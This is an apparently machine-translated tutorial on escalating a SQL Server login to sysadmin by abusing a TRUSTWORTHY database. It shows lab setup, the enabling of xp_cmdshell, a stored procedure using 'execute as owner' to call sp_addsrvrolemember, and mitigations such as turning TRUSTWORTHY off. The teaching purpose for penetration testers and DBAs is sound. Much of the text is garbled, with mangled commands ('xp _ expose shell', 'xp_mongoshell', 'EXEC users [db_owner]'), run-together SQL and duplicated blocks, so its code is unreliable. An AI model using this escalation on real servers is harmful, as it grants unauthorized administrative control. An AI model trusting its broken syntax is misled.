SQL Server database penetration from the basics

SQL Server database penetration from the basics

Create lab environment

Next, I will provide an example to demonstrate the basic steps for creating an SQL Server.

Download Microsoft SQL Server Express and Install SQL Server Management Studio.

Follow the Wizard to Install SQL Server step by step. Make sure that the Hybrid Authentication mode is enabled and related services are enabled locally.

Use the "SA" account to log on to SQL Server and set it when installing and using the SQL Server Management Studio program. Click the New Query button to use TSQL. Next, create a database named "MyAPPDb.

-- Create databaseCREATE DATABASE MyAppDb -- Verify sa is the owner of the application databaseSELECT suser_sname(owner_sid)FROM sys.databasesWHERE name = 'MyAppDb'

 

Click Create query and use TSQL. Next we create an SQL Server user named "MyAppUser. In real scenarios, DBA creates an account to connect to the database server.

-- Create loginCREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';

 

Click Create query and then the TSQL window is displayed. Next, assign permissions to the MyAppUser in the MyAppDb database. In a real environment, the DBA may do this. After logging on to an SQL Server account, you can use the database that the DBA can use.

-- Setup MyAppUsers the db_owner role in MyAppDbUSE MyAppDbALTER LOGIN [MyAppUser] with default_database = [MyAppDb]; create user [MyAppUser] from login [MyAppUser]; EXEC users [db_owner], [MyAppUser]; Confirm that MyAppUser has added ownership. -- Verify the user was added as db_ownerselect rp. name as database_role, mp. name as database_userfrom sys. database_role_members drmjoin sys. database_principals rp on (drm. role_principal_id = rp. principal_id) join sys. database_principals mp on (drm. member_principal_id = mp. principal_id)

 

 

Set the MyAppDb database to trusted

Alter database MyAppDb SET TRUSTWORTHY ON

SELECT a.name,b.is_trustworthy_onFROM master..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;

 

 

Enabling xp_cmdshell with TSQL will simplify our experiment. Even if we do not enable it, it may be exploited by attackers. -- Enable show optionsEXEC sp_configure 'show advanced options', 1 RECONFIGUREGO -- Enable xp_register shellexec sp_configure 'xp _ expose shell', 1 RECONFIGUREGO

Attack trusted Databases

According to Microsoft, when a system administrator configures the permissions of a trusted database, the privileged account is intentionally or unintentionally allowed to escalate the permissions of the database. I have observed that this sentence is partially correct. In some scenarios, it may also be possible for non-privileged users to escalate their permissions. I will introduce it in my blog later. Now you can follow the instructions to upgrade MyAppUser

The user has permissions.

Note: The tests are performed in SQL Server versions 2012 and, but are not performed in other versions.

Use the MyAppUser user to log on to SQL Server, execute TSQL, and create a stored procedure named sp_elevate_me. This stored procedure runs in the OWNER permission, which is the existence of the sa account. Because Log On with the sa permission, MyAppUser may be added to the system administrator group. In addition, this is very likely because the db_owner role can create any stored procedure in the database and the database is configured as trusted.

-- Create a stored procedure to add MyAppUser to sysadmin roleUSE MyAppDbGOCREATE PROCEDURE sp_elevate_meWITH execute as ownerasexec sp_addsrvrolemember 'myappuser ', 'sysadmin' GO check that MyAppUser is not the system administrator -- Verify MyAppUser is not a sysadminSELECT is_srvrolemember ('sysadmin ')

SELECT is_srvrolemember ('sysadmin ')

The following query will return all the databases in SQL Server, and the MyAppDb and MSDB databases will be marked as trusted.

1 2 3 4 SELECT a. name, B. is_trustworthy_on FROM master .. sysdatabases as a inner join sys. databases as B ON a. name = B. name;

 

Enabling xp_cmdshell with TSQL will simplify our experiment. Even if we do not enable it, it may be exploited by attackers.

-- Verify the user was added as db_owner

 

Select rp. name as database_role, mp. name as database_user

 

From sys. database_role_members drmjoin sys. database_principals rp on (drm. role_principal_id = rp. principal_id)

 

Join sys. database_principals mp on (drm. member_principal_id = mp. principal_id)

If yes, set the affected Database "TRUSTWORTHY" to off (including MSDB ). This helps prevent the execution of xp_mongoshell and some other malicious operations in the stored procedure. It will also execute a sandbox that only allows the stored procedure to query the relevant database information.

In addition, check whether the database user has the sysadmin permission. If your application needs to access objects from an external database, some methods below can replace trusted databases. CLR stored procedures. Other common options include:

Enabling the "cross db ownership chain" operation is risky. For more information, see the http://msdn.microsoft.com/en-us/library/ms188694.aspx.

Assign the external object permissions required by the application group, but this is troublesome for management.

Wrap Up

This article mainly helps penetration testers, developers and dev-ops understand some common SQL Server Error configurations. Attacks can be directly connected through databases, but the most likely is SQL Injection for web, desktop, and mobile applications.